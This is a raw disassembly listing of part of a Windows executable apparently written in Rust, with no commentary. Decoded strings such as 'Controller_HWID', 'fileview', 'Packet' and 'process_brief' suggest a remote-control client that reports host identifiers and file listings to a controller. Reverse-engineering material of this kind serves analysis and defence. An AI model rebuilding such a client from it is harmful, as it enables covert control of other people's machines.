mov byte [rbp + 0x2cb8], al
jmp 0x14002f9a7
mov rax, qword [rbp + 0x2660]
mov qword [rbp + 0x26e0], rax
mov rax, qword [rbp + 0x2058]
mov qword [rbp + 0x26e8], rax
movdqa xmm0, xmmword [rbp + 0x2390]
lea rax, [rbp + 0x26f0]
movdqu xmmword [rax], xmm0
xor esi, esi
mov byte [rbp + 0x2d76], 1
mov r8d, 0x2000
mov rcx, rsi
lea rdx, [rbp + 0x10]
call fcn.14005e993
mov r8, rdx
mov rcx, rax
xor edx, edx
call sub.msvcrt.dll_memset
mov byte [rbp + 0x2d76], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov qword [rsp + 0x20], rax
mov edx, 0x2000
mov r9d, 0x2000
xor ecx, ecx
lea r8, [rbp + 0x10]
call fcn.140042189
mov r9, rdx
mov rcx, qword [rbp + 0x26e0]
test rcx, rcx
je 0x14002f6cc
cmp ecx, 1
jne 0x14002f6f4
mov rdx, qword [rbp + 0x26f0]
mov rcx, qword [rbp + 0x26f8]
mov r10, qword [rcx + 0x18]
mov byte [rbp + 0x2d76], 1
lea rcx, [rbp + 0x2c10]
mov r8, rax
call r10
jmp 0x14002f711
mov rdx, qword [rbp + 0x26e8]
mov rcx, qword [rbp + 0x26f0]
mov r10, qword [rcx + 0x18]
mov byte [rbp + 0x2d76], 1
lea rcx, [rbp + 0x2c10]
mov r8, rax
call r10
jmp 0x14002f711
mov byte [rbp + 0x2d76], 1
lea rcx, [rbp + 0x2c10]
lea rdx, [rbp + 0x26f0]
mov r8, rax
call fcn.14005f626
cmp qword [rbp + 0x2c10], 0
mov rax, qword [rbp + 0x2c18]
mov qword [rbp + 0x2d58], rax
je 0x14002f764
cmp qword [rbp + 0x2d58], 0
je 0x14002f77d
mov rcx, qword [rbp + 0x2d58]
call fcn.1400bc1fb
cmp al, 0x23
jne 0x1400327e6
mov byte [rbp + 0x2d76], 1
mov esi, 0x2000
mov rcx, qword [rbp + 0x2d58]
call fcn.14005e61b
jmp 0x14002f641
mov rsi, qword [rbp + 0x2d58]
cmp rsi, 0x2001
mov eax, 0x2000
cmovb rsi, rax
jmp 0x14002f78b
mov esi, 0x2000
xor eax, eax
mov qword [rbp + 0x2d58], rax
mov byte [rbp + 0x2d76], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov qword [rsp + 0x20], rax
mov r9d, 0x2000
xor ecx, ecx
mov rdx, qword [rbp + 0x2d58]
lea r8, [rbp + 0x10]
call fcn.140042189
test rdx, rdx
je 0x14002f4a4
mov byte [rbp + 0x2d76], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov qword [rsp + 0x20], rax
mov r9d, 0x2000
xor ecx, ecx
mov rdx, qword [rbp + 0x2d58]
lea r8, [rbp + 0x10]
call fcn.140042189
mov byte [rbp + 0x2d76], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov qword [rsp + 0x20], rax
mov r9d, 0x2000
xor ecx, ecx
mov rdx, qword [rbp + 0x2d58]
lea r8, [rbp + 0x10]
call fcn.140042189
mov r14, rax
mov rdi, rdx
mov r12, qword [rbp + 0x2478]
mov rbx, qword [rbp + 0x2480]
test rdi, rdi
je 0x14002f641
mov rax, qword [rbx + 0x18]
mov byte [rbp + 0x2d76], 1
lea rcx, [rbp + 0x2b20]
mov rdx, r12
mov r8, r14
mov r9, rdi
call rax
cmp qword [rbp + 0x2b20], 0
je 0x14002f8af
mov rax, qword [rbp + 0x2b28]
mov qword [rbp + 0x2d58], rax
lea rcx, [rbp + 0x2c10]
mov rdx, r12
call qword [rbx + 0xf0]
lea rcx, [rbp + 0x2c10]
call fcn.14005e8e9
mov rcx, qword [rbp + 0x2d58]
call fcn.1400bc1fb
cmp al, 0x23
jne 0x1400327e6
mov byte [rbp + 0x2d76], 1
mov rcx, qword [rbp + 0x2d58]
call fcn.14005e61b
jmp 0x14002f829
mov rcx, qword [rbp + 0x2b28]
test rcx, rcx
je 0x1400327d8
mov rax, rdi
sub rax, rcx
jb 0x14003390e
add r14, rcx
mov rdi, rax
jmp 0x14002f829
shl r13, 0x20
or r13, rsi
mov rax, qword [rbp + 0x2a10]
lea rcx, [rbp + 0x2c18]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rbp + 0x2a00]
movups xmmword [rcx + 0x30], xmm0
lea rdx, [rbp + 0x2a18]
movups xmm0, xmmword [rdx]
movaps xmmword [rbp + 0x2980], xmm0
mov rax, qword [rdx + 0x10]
mov qword [rbp + 0x2990], rax
movzx ecx, word [rbp + 0x2a30]
mov eax, dword [rdx + 0x1a]
mov dword [rbp + 0x2068], eax
movzx eax, word [rdx + 0x1e]
mov word [rbp + 0x206c], ax
mov word [rbp + 0x23ec], cx
call fcn.1400688b2
mov word [rbp + 0x23ee], ax
mov qword [rbp + 0x22f0], rdx
lea rax, [rbp + 0x50]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movdqa xmmword [rbp + 0x2c10], xmm0
movdqa xmmword [rbp + 0x2c20], xmm1
movaps xmmword [rbp + 0x2c30], xmm2
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x2c40], rax
mov rax, qword [rbp + 0x2ce8]
mov r14, rax
shr r14, 0x10
push 0xa
pop rcx
lea rdi, [rbp + 0x2b20]
lea rsi, [rbp + 0x2c10]
rep movsq qword [rdi], qword [rsi]
mov word [rbp + 0x2c08], ax
mov rcx, qword [rbp + 0x2060]
call fcn.14006305e
lea rcx, [rbp + 0x2400]
call fcn.1400630c3
cmp ebx, 2
je 0x1400327d0
mov dword [rbp + 0x26e0], ebx
mov eax, dword [rbp + 0x2d38]
mov dword [rbp + 0x26e4], eax
mov byte [rbp + 0x26e8], r12b
mov eax, dword [rbp + 0x2d48]
mov byte [rbp + 0x26e9], al
mov dword [rbp + 0x26ea], r13d
mov rax, r13
shr rax, 0x20
mov word [rbp + 0x26ee], ax
mov rax, qword [rbp + 0x2d58]
mov qword [rbp + 0x26f0], rax
movzx eax, word [rbp + 0x2c08]
mov word [rbp + 0x26f8], ax
mov dword [rbp + 0x26fa], r14d
mov rax, r14
shr rax, 0x20
mov word [rbp + 0x26fe], ax
push 0xa
pop rcx
lea rdi, [rbp + 0x2700]
lea rsi, [rbp + 0x2b20]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2cd0]
mov qword [rbp + 0x2750], rax
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2758], rax
mov rax, qword [rbp + 0x2990]
lea rcx, [rbp + 0x26f0]
mov qword [rcx + 0x80], rax
movdqa xmm0, xmmword [rbp + 0x2980]
movdqu xmmword [rcx + 0x70], xmm0
movzx eax, word [rbp + 0x23ec]
mov word [rbp + 0x2778], ax
mov eax, dword [rbp + 0x2068]
mov dword [rcx + 0x8a], eax
movzx eax, word [rbp + 0x206c]
mov word [rcx + 0x8e], ax
movzx eax, word [rbp + 0x23ee]
mov word [rbp + 0x2780], ax
mov rcx, qword [rbp + 0x22f0]
mov word [rbp + 0x2782], cx
mov cl, byte [rbp + 0x2cb8]
mov byte [rbp + 0x2784], cl
movzx eax, ax
mov ecx, 0x1fe000
bt rcx, rax
jae 0x14002fb57
and qword [rbp + 0x2c10], 0
lea rax, str.Location
mov qword [rbp + 0x2c18], rax
mov qword [rbp + 0x2c20], 8
mov rcx, qword [rbp + 0x2738]
mov rdx, qword [rbp + 0x2748]
lea r8, [rbp + 0x2c10]
call fcn.1400679d2
test rax, rax
je 0x14002fc98
mov r14, rax
lea rsi, [rax + 0x28]
mov rcx, rsi
movabs rdx, 0x310aeb3553cbad3f
movabs r8, 0xaf2b0f2253f0e7e4
call fcn.1400679eb
test rax, rax
je 0x14002fb86
mov rdi, rax
jmp 0x14002fc9a
movabs rcx, 0xfffffffffe01fff
bt rcx, rax
jb 0x1400314ca
mov rax, qword [rbp + 0x22f0]
add eax, 0xfffffed4
cmp ax, 0x64
jb 0x14002fae3
jmp 0x1400314ca
cmp dword [r14], 3
mov edi, 0
cmovne rdi, r14
mov rcx, rdi
lea rdx, [0x14013d358]
call fcn.140067a6c
mov rax, qword [rdi]
cmp rax, 2
je 0x14002fbb6
cmp eax, 1
jne 0x14002fc08
add rdi, 8
jmp 0x14002fbc1
cmp qword [rdi + 0x18], 1
jne 0x14002fc08
mov rdi, qword [rdi + 8]
mov rcx, rdi
call fcn.14005e8bf
test rax, rax
je 0x14002fc08
mov r8, rdx
test rdx, rdx
je 0x14002fc08
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14004cf60
cmp qword [rbp + 0x10], 0
je 0x14002fde3
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x22f8], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x2358], rax
push 8
pop rax
jmp 0x14002fc19
mov rax, qword [rbp + 0x2388]
and rax, 0xffffffffffffff00
or rax, 3
mov qword [rbp + 0x2388], rax
mov rax, qword [rbp + 0x2388]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x22f8]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x2358]
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x10]
call fcn.140067a93
test rax, rax
je 0x14002fc98
mov qword [rsp + 0x20], rdx
mov rcx, rsi
movabs rdx, 0x310aeb3553cbad3f
movabs r8, 0xaf2b0f2253f0e7e4
mov r9, rax
call fcn.140067ab7
mov rcx, rsi
movabs rdx, 0x310aeb3553cbad3f
movabs r8, 0xaf2b0f2253f0e7e4
call fcn.1400679eb
test rax, rax
jne 0x14002fb4f
xor edi, edi
mov rcx, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
call fcn.1401171eb
test rdi, rdi
je 0x14003190c
mov r8, qword [rdi]
test r8, r8
jne 0x14002fcc2
mov r8, qword [rdi + 8]
mov r9, qword [rdi + 0x10]
mov qword [rbp + 0x2c10], 2
lea rax, [rbp + 0x2ba0]
mov qword [rbp + 0x2c28], rax
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x2c10]
call fcn.14010abfb
mov esi, dword [rbp + 0x10]
mov bl, byte [rbp + 0x14]
lea rcx, [rbp + 0x2b20]
lea rdx, [rbp + 0x15]
push 0x53
pop r8
call sub.msvcrt.dll_memcpy
cmp esi, 3
je 0x14003190c
lea rcx, [rbp + 0x29a0]
lea rdx, [rbp + 0x2b20]
push 0x53
pop r8
call sub.msvcrt.dll_memcpy
cmp esi, 2
je 0x14003190c
mov rcx, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
call fcn.14000e02a
mov dword [rbp + 0x2ba0], esi
mov byte [rbp + 0x2ba4], bl
lea rcx, [rbp + 0x2ba5]
lea rdx, [rbp + 0x29a0]
push 0x53
pop r8
call sub.msvcrt.dll_memcpy
mov rax, qword [r15]
cmp rax, 1
je 0x14002fd8d
cmp eax, 2
jne 0x14003190c
lea rcx, [rbp + 0x2ba0]
call qword [r15 + 8]
test al, al
je 0x14003190c
mov byte [rbp + 0x2d76], 0
lea rcx, [rbp + 0x26e0]
call fcn.14006b70b
mov eax, dword [rbp + 0x2d38]
mov dword [rbp + 0x22e4], eax
mov rax, qword [rbp + 0x2cd0]
mov qword [rbp + 0x2040], rax
mov rax, qword [rbp + 0x2cf0]
mov qword [rbp + 0x2048], rax
mov al, byte [rbp + 0x2cb8]
mov byte [rbp + 0x2a4f], al
push 3
pop rax
mov qword [rbp + 0x2660], rax
jmp 0x14002e9f0
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
call fcn.140072370
mov rdi, rax
mov rcx, rdx
mov qword [rbp + 0x2358], rdx
xor edx, edx
call fcn.1400814b3
mov qword [rbp + 0x2388], rax
mov qword [rbp + 0x22f8], rdx
mov rcx, qword [rbp + 0x2388]
mov rdx, rdi
mov r8, qword [rbp + 0x2358]
call sub.msvcrt.dll_memcpy
mov byte [rbp + 0x18], 3
mov qword [rbp + 0x10], 1
lea rcx, [rbp + 0x18]
call fcn.14005e5f3
mov rax, qword [rbp + 0x2388]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x22f8]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x2358]
mov qword [rbp + 0x20], rax
push 0x18
pop rcx
call fcn.14007a664
mov rcx, qword [rbp + 0x20]
mov qword [rax + 0x10], rcx
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmmword [rax], xmm0
mov qword [rbp + 0x18], rax
lea rax, fcn.1400630e3
mov qword [rbp + 0x20], rax
mov byte [rbp + 0x10], 0xa
jmp 0x14002fc41
lea rcx, [rbp + 0x2ba0]
call fcn.14000de3b
jmp 0x14002d485
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2d48]
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov qword [rbp + 0x2d48], rax
jmp 0x14002fefe
lea rcx, [rbp + 0x2ba0]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2d48]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x2d48], rsi
mov byte [rbp + 0x2d1a], 0
lea rcx, [rbp + 0x29a0]
call fcn.14000e5e2
lea rcx, [rbp + 0x10]
mov rax, qword [rbp + 0x2d48]
mov qword [rcx], rax
mov byte [rbp + 0x2d1a], 0
call fcn.14000ee36
mov rcx, qword [rbp + 0x2670]
mov rdx, qword [rbp + 0x2678]
jmp 0x1400312e9
lea r8, str.process_brief
push 0xd
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x140030616
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2a10], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x2a00], xmm0
lea rcx, [rbp + 0x10]
call fcn.140011b7d
lea rcx, [rbp + 0x10]
call fcn.140011b22
mov qword [rbp + 0x2670], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2678], xmm0
mov byte [rbp + 0x2ce6], 1
lea rcx, [rbp + 0x26e0]
call fcn.1400b5927
mov byte [rbp + 0x2ce6], 1
lea rcx, [rbp + 0x26e0]
call fcn.14000f98d
lea r8, [rbp + 0x2c30]
lea rcx, [0x14016ad40]
mov qword [r8 - 0x20], rcx
pxor xmm0, xmm0
movdqu xmmword [r8 - 0x18], xmm0
and qword [r8 - 8], 0
mov qword [r8], rax
mov qword [r8 + 8], rdx
imul r15, qword [rbp + 0x118], 0x50
mov r13, qword [rbp + 0x108]
add r15, r13
lea r12, [0x1400150f5]
lea rbx, [rbp + 0x26e0]
cmp r13, r15
je 0x140030884
mov rdx, qword [r13]
mov byte [rbp + 0x2d56], 1
lea rcx, [rbp + 0x2400]
call fcn.140009654
mov rcx, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov r8, qword [rbp + 0x2400]
mov r9, qword [rbp + 0x2410]
call fcn.14004230a
mov r14, rax
lea rax, [rbp + 0x2400]
mov qword [rbp + 0x2080], rax
cmp qword [rbp + 0x2c20], 0
jne 0x140030081
lea rcx, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
call fcn.140119989
lea rax, [rbp + 0x2080]
mov qword [rbp + 0x26e0], rax
lea rax, [rbp + 0x2c10]
mov qword [rbp + 0x26e8], rax
mov rcx, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
mov qword [rsp + 0x20], r12
mov r8, r14
mov r9, rbx
call fcn.1400f18a2
lea rdi, [r13 + 0x50]
test rax, rax
je 0x14003014a
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f0], rax
movups xmm0, xmmword [rbp + 0x2400]
movaps xmmword [rbp + 0x26e0], xmm0
mov rax, qword [rbp + 0x2c10]
movzx ecx, byte [rax + rdx]
and ecx, 1
sub qword [rbp + 0x2c20], rcx
shr r14, 0x39
lea rcx, [rdx - 0x10]
and rcx, qword [rbp + 0x2c18]
mov byte [rax + rdx], r14b
mov byte [rcx + rax + 0x10], r14b
inc qword [rbp + 0x2c28]
shl rdx, 5
mov rcx, rax
sub rcx, rdx
mov r8, qword [rbp + 0x26f0]
mov qword [rcx - 0x10], r8
movdqa xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rcx - 0x20], xmm0
neg rdx
mov qword [rax + rdx - 8], r13
mov r13, rdi
jmp 0x140030012
mov rax, qword [rbp + 0x2c10]
shl rdx, 5
neg rdx
mov qword [rax + rdx - 8], r13
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
mov r13, rdi
jmp 0x140030012
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2a50]
call fcn.14000fd59
mov byte [rbp + 0x2d06], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rax, qword [rbp + 0x2a50]
mov qword [rbp + 0x2cb8], rax
mov rax, qword [rbp + 0x2a60]
mov qword [rbp + 0x2cf0], rax
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x2a10], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x2a00], xmm0
mov ecx, 0x1e0
call fcn.14001018f
mov qword [rbp + 0x2668], rax
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
push 8
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x77656976656c6966
mov qword [rax], rcx
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x2c30], rcx
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2c20], xmm1
movdqa xmmword [rbp + 0x2c10], xmm0
mov byte [rbp + 0x2c38], 5
mov qword [rbp + 0x2c40], rax
mov qword [rbp + 0x2c48], rdx
mov qword [rbp + 0x2c50], 8
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2080], xmm0
movdqa xmmword [rbp + 0x2090], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20a0], rax
mov byte [rbp + 0x20a8], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x20a9], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x20b8], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x20c0], rax
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0xe
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2400], xmm0
movdqa xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x2429], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x2438], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x2440], rax
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x656c6946
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rcx, qword [rbp + 0x2cf0]
xor edx, edx
call fcn.1400814b3
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, qword [rbp + 0x2cb8]
mov rbx, qword [rbp + 0x2cf0]
mov r8, rbx
call sub.msvcrt.dll_memcpy
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x26e0], xmm0
movdqa xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
mov qword [rbp + 0x2710], rsi
mov qword [rbp + 0x2718], rdi
mov qword [rbp + 0x2720], rbx
push 7
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax + 3], 0x746e6574
mov dword [rax], 0x746e6f43
mov qword [rbp + 0x2b28], rax
mov qword [rbp + 0x2b30], rdx
mov qword [rbp + 0x2b38], 7
mov byte [rbp + 0x2b20], 5
mov rcx, qword [rbp + 0x2cb8]
mov rdx, qword [rbp + 0x2cf0]
call fcn.1400422ce
test rax, rax
je 0x140030522
mov qword [rbp + 0x2678], rdx
and qword [rbp + 0x2670], 0
jmp 0x1400320bf
lea rcx, [rbp + 0x2a70]
call fcn.1400fee6b
lea rcx, [rbp + 0x29a0]
mov qword [rcx], 1
pxor xmm6, xmm6
movdqu xmmword [rcx + 8], xmm6
mov rdx, qword [rbp + 0x2a80]
mov r8, qword [rbp + 0x2a88]
sub r8, rdx
add rdx, qword [rbp + 0x2a70]
mov qword [rbp + 0x2b10], r8
call fcn.140047d41
lea rax, [rbp + 0x2a80]
movdqu xmmword [rax], xmm6
mov rdx, qword [rax + 0x18]
lea rsi, [rbp + 0x10]
mov rcx, rsi
mov qword [rbp + 0x2d68], rdx
call case.0x14008eeec.298
cmp dword [rsi], 2
jne 0x1400313bc
mov rax, qword [rbp + 0x18]
mov ecx, eax
and ecx, 3
mov sil, 1
xor r13d, r13d
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140031545
test rcx, rcx
je 0x140031545
lea rcx, [rax - 1]
mov qword [rbp + 0x2d48], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x2d38], rcx
mov qword [rbp + 0x2d58], rax
call qword [rax]
mov rax, qword [rbp + 0x2d58]
cmp qword [rax + 8], 0
je 0x140030602
mov rax, qword [rbp + 0x2d58]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp + 0x2d38]
call fcn.140041fe0
push 8
pop rdx
mov rcx, qword [rbp + 0x2d48]
call fcn.140041fe0
jmp 0x140031542
lea r8, [0x14012281a]
push 0xb
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x1400313f8
lea rdx, [0x140122854]
lea rcx, [rbp + 0x23b0]
push 2
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140031630
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x140031671
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2080]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, [0x140121ef8]
lea rcx, [rbp + 0x23b0]
push 7
pop r8
call fcn.140007202
mov rsi, rax
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140030797
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400307d8
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2400]
call fcn.14000fd59
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2090]
mov rdi, qword [rbp + 0x2400]
mov rbx, qword [rbp + 0x2410]
mov rcx, rsi
call fcn.1400074e1
mov qword [rbp + 0x2d68], rdx
test rax, rax
jne 0x140030856
mov rcx, qword [rbp + 0x2d68]
mov rdx, rdi
mov r8, rbx
call fcn.1400076b3
mov rbx, rax
mov rcx, qword [rbp + 0x2d68]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x2d68], rbx
lea rcx, [rbp + 0x10]
mov rax, qword [rbp + 0x2d68]
mov qword [rcx], rax
call fcn.14000ee36
mov rdx, qword [rbp + 0x2408]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2088]
jmp 0x140027dc2
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x2080]
call fcn.1400011a2
lea r12, [rbp + 0x26e0]
pcmpeqd xmm6, xmm6
lea rcx, [rbp + 0x2080]
call fcn.14000115e
test rax, rax
je 0x140030cfd
mov rdi, rdx
mov qword [rbp + 0x2af8], rax
mov rdx, qword [rdx + 0xc8]
test rdx, rdx
je 0x140030962
mov byte [rbp + 0x2d56], 1
lea rcx, [rbp + 0x2400]
call fcn.140009654
lea rax, [rbp + 0x2400]
mov qword [rbp + 0x2b20], rax
lea rax, [0x140010290]
mov qword [rbp + 0x2b28], rax
mov qword [rsp + 0x20], 1
mov rcx, r12
lea rdx, str.called__Option::unwrap____on_a__None__value
push 1
pop r8
lea r9, [rbp + 0x2b20]
call fcn.14000c3a4
lea rcx, [rbp + 0x2a70]
mov rdx, r12
call fcn.14000ff7c
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqa xmmword [rbp + 0x29a0], xmm0
mov rax, qword [rbp + 0x2a80]
mov qword [rbp + 0x29b0], rax
jmp 0x140030999
mov byte [rbp + 0x2d56], 1
mov rcx, rsi
xor edx, edx
call fcn.1400814b3
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov qword [rbp + 0x29a0], rax
mov qword [rbp + 0x29a8], rdx
mov qword [rbp + 0x29b0], 7
mov rcx, rsi
xor edx, edx
call fcn.1400814b3
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov qword [rbp + 0x2ba0], rax
mov qword [rbp + 0x2ba8], rdx
mov qword [rbp + 0x2bb0], 7
cmp qword [rbp + 0x2c28], 0
lea rax, case.0x140078d05.39
mov rcx, rsi
je 0x140030ac5
mov rcx, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov r8, qword [rbp + 0x29a0]
mov r9, qword [rbp + 0x29b0]
call fcn.14004230a
mov rbx, qword [rbp + 0x2c10]
